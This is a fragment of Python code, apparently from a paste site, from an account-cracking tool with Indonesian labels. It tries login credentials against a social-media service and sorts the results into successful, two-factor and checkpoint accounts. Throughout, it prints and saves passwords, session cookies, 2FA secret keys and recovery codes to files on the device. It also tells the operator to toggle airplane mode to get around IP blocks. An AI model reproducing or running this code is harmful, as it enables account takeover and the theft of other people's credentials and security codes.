- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- true = tree.add(f'\r╭ auth secure account',style='green')
- true.add(f'stats two {stat2fa}')
- true.add(f'screetkey {key}')
- true.add(f'pemulihan {kode}')
- true.add(f'telephone {deleted}')
- true.add(f'add email {email} {statd}')
- true.add(f'web email {inbx}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{stat2fa}|{key}|{kode}|{deleted}|{email} {statd}|{inbx}|{cookie}\n'
- except Exception as e:
- print(e)
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- else:
- tree = Tree(f'\r╭ logged in user',style='green')
- true = tree.add(f'Succes logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='green')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- tree.add(f'Cookie {cookie}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}|{cookie}\n'
- with open('/sdcard/OK/'+self.result_ok,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'two_factor_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged two factor ',style='red')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='red')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.faktor+=1
- with open('/sdcard/2F/'+self.result_two,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'checkpoint_required' in str(response):
- try: fullname, follower, followed, feedpost = Requ().Validasi_Username(username)
- except (UnboundLocalError) as e: pass
- tree = Tree('\r╭ logged challenge ',style='yellow')
- true = tree.add(f'Gagal logged {fullname}')
- true.add(f'Username {username}')
- true.add(f'Password {passwd}')
- true = tree.add(f'\r╭ informasi profiles',style='yellow')
- true.add(f'Followers {follower}')
- true.add(f'Following {followed}')
- true.add(f'Postingan {feedpost}')
- printz(tree)
- save = f'{fullname}|{username}|{passwd}|{follower}|{followed}|{feedpost}\n'
- self.chekpoint+=1
- with open('/sdcard/CP/'+self.result_cp,'a') as wr:
- wr.write(save)
- wr.close()
- break
- elif 'ip_block' in str(response):
- Console().print(f"[bold grey50] ──>[bold red] HIDUPKAN MODE PESAWAT 5 DETIK!", end='\r')
- time.sleep(3.5)
- else: continue
- except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects):
- Console().print(f"[bold grey50] ──>[bold red] KONEKSI ERROR!", end='\r')
- time.sleep(31)
- self.ExecAjax_Threads(username, password)
- self.looping+=1
Add Comment
Please, Sign In to add comment